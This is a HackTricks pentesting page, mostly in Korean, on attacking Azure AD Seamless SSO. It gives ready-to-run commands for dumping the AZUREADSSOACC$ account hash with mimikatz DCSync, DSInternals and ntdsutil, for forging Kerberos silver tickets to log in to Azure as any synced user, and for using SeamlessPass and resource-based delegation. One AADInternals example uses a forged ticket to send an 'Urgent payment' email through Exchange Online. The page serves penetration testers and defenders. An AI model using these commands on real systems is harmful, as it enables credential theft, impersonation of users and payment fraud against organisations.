Az - Seamless SSO

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 사용자가 회사 네트워크에 연결된 회사 장치에서 있을 때 자동으로 로그인합니다. 활성화되면, 사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다.

기본적으로 Azure AD Seamless SSO는 온프레미스 도메인에 가입된 PC에서 사용자를 로그인합니다.

이는 PHS (Password Hash Sync)PTA (Pass-through Authentication) 모두에서 지원됩니다.

데스크탑 SSO는 인증을 위해 Kerberos를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 AZUREADSSOACC$라는 컴퓨터 계정을 생성합니다. AZUREADSSOACC$ 계정의 비밀번호는 구성 중에 Azure AD에 평문으로 전송됩니다.

Kerberos 티켓은 비밀번호의 **NTHash (MD4)**를 사용하여 암호화되며, Azure AD는 전송된 비밀번호를 사용하여 티켓을 복호화합니다.

Azure AD는 Kerberos 티켓을 수락하는 엔드포인트(https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.

On-prem -> cloud

사용자 AZUREADSSOACC$의 비밀번호는 절대 변경되지 않습니다. 따라서 도메인 관리자는 이 계정의 해시를 손상시킬 수 있으며, 이를 사용하여 은 티켓을 생성하여 동기화된 모든 온프레미스 사용자로 Azure에 연결할 수 있습니다.

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

해시를 사용하여 이제 실버 티켓을 생성할 수 있습니다:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

  1. 브라우저 시작: Mozilla Firefox를 실행해야 합니다.

  2. 브라우저 구성:

  • **about:config**로 이동합니다.

  • network.negotiate-auth.trusted-uris의 기본 설정을 지정된 으로 설정합니다:

  • https://aadg.windows.net.nsatc.net

  • https://autologon.microsoftazuread-sso.com

  1. 웹 애플리케이션 접근:

  • 조직의 AAD 도메인과 통합된 웹 애플리케이션을 방문합니다. 일반적인 예로는 Office 365가 있습니다.

  1. 인증 과정:

  • 로그인 화면에서 사용자 이름을 입력하고 비밀번호 필드는 비워둡니다.

  • 진행하려면 TAB 또는 ENTER를 누릅니다.

이것은 MFA가 활성화된 경우 우회하지 않습니다.

Option 2 without dcsync - SeamlessPass

이 공격은 dcsync 공격 없이 수행할 수도 있습니다. 이 블로그 게시물에서 설명된 대로 더 은밀하게 진행할 수 있습니다. 이를 위해 다음 중 하나만 필요합니다:

  • 손상된 사용자의 TGT: 사용자가 손상되었지만 TGT가 없더라도, KekeoRubeus와 같은 많은 도구에서 구현된 가짜 TGT 위임 트릭을 사용하여 얻을 수 있습니다.

  • 골든 티켓: KRBTGT 키가 있다면 공격받는 사용자에게 필요한 TGT를 생성할 수 있습니다.

  • 손상된 사용자의 NTLM 해시 또는 AES 키: SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성합니다.

  • AZUREADSSOACC$ 계정 NTLM 해시 또는 AES 키: 이 정보와 공격할 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행한 대로).

마지막으로, TGT를 사용하여 SeamlessPass 도구를 사용할 수 있습니다:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는 이 블로그 게시물에서 확인할 수 있습니다.

클라우드 전용 사용자에 대한 Kerberos 티켓 생성

Active Directory 관리자가 Azure AD Connect에 접근할 수 있다면, 클라우드 사용자에 대한 SID를 설정할 수 있습니다. 이렇게 하면 Kerberos 티켓클라우드 전용 사용자에 대해서도 생성될 수 있습니다. 유일한 요구 사항은 SID가 적절한 SID여야 한다는 것입니다.

클라우드 전용 관리자 사용자의 SID 변경은 현재 Microsoft에 의해 차단되었습니다. 자세한 정보는 https://aadinternals.com/post/on-prem_admin/를 확인하세요.

온프레미스 -> 클라우드 리소스 기반 제약 위임을 통한

이 계정이 있는 컨테이너 또는 OU에서 컴퓨터 계정을 관리할 수 있는 사람은 계정에 대한 리소스 기반 제약 위임을 구성하고 접근할 수 있습니다.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

Support HackTricks

Last updated